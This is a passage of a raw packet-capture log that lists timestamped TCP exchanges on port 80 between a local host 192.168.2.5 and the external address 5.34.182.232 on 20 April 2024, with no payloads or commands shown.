Apr 20, 2024 10:23:55.737701893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737729073 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737765074 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737802982 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737816095 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737839937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737859964 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737876892 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737914085 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737950087 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737978935 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737987041 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737993002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.738024950 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738061905 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738070965 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.738100052 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738136053 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738147974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.738225937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738265038 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738276958 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.738301992 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738341093 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738352060 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.738378048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738414049 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738425970 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.738451004 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738487959 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738500118 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.738528013 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.738575935 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973366022 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973429918 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973468065 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973493099 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973510981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973548889 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973557949 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973587990 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973630905 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973633051 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973670959 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973710060 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973716974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973747969 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973784924 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973793983 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973823071 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973859072 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973867893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973897934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973934889 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.973943949 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.973972082 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974008083 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974025011 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974044085 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974081993 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974123001 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974148035 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974159956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974189043 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974195957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974236965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974272966 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974275112 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974309921 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974313974 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974351883 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974390984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974396944 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974427938 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974467993 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974474907 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974503994 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974540949 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974549055 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974581003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974617958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974625111 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974658012 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974694014 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974701881 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974731922 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974769115 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974776030 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974806070 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974843025 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974849939 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974879980 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974915981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974925041 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.974952936 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974987984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.974997997 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975024939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975061893 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975068092 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975099087 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975136042 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975142956 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975172997 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975208044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975243092 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975245953 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975282907 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975292921 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975322008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975358963 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975366116 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975397110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975435972 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975446939 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975471973 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975509882 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975517988 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975545883 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975583076 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975590944 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975621939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975656986 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975661039 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975697994 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975734949 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975744009 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975775003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975816965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975820065 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975853920 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975889921 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975898027 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.975927114 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975964069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.975970984 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976006031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976042032 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976051092 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976080894 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976130962 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976150036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976188898 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976227045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976234913 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976264954 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976300955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976313114 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976337910 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976375103 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976391077 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976413012 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976449966 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976457119 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976486921 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976526976 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976563931 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976569891 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976603031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976603985 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976640940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976676941 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976711988 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976716995 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976752043 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976752996 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976788998 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976828098 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976866007 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976870060 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976905107 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.976906061 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976946115 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.976982117 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977018118 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977030039 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977056026 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977057934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977096081 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977133036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977170944 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977174997 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977207899 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977210999 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977246046 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977282047 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977318048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977322102 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977355003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977359056 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977391958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977427959 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977468014 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977472067 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977504969 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977513075 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977541924 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977580070 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977617979 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977621078 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977658033 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977663040 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977695942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977731943 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977768898 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977771044 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977806091 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977808952 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977845907 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977885008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977921009 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977925062 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977957010 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.977962017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.977994919 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978032112 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978068113 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978071928 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.978106022 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978111029 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.978147030 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978183031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978219032 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978220940 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.978276968 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978290081 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.978316069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978351116 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978388071 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978396893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.978425980 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978435993 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.978466034 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978502035 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978538036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978542089 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.978575945 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.978578091 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.023329020 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.213341951 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213462114 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213485003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213505983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213552952 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213596106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213634014 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213670015 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213695049 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.213695049 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.213695049 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.213695049 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.213711023 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213748932 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213785887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213823080 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213864088 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213900089 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213937998 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213948011 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.213975906 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.213998079 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214013100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214049101 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214085102 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214118958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214157104 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214193106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214229107 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214246035 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214266062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214267969 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214303970 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214308023 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214317083 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214343071 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214359999 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214381933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214399099 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214420080 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214432001 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214457035 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214469910 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214493036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214508057 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214529991 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214546919 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214570999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214586020 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214610100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214622021 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214648008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214659929 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214685917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214700937 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214723110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214737892 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214761019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214771986 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214799881 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214811087 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214838028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214849949 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214874029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214894056 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214910030 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214926958 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214947939 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.214960098 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.214986086 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215014935 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215023041 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215029001 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215059996 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215074062 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215096951 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215111017 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215135098 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215148926 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215172052 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215186119 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215209961 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215221882 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215249062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215261936 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215287924 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215305090 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215326071 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215339899 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215363026 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215373039 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215400934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:56.215414047 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:56.215441942 CEST	80	49720	5.34.182.232	192.168.2.5
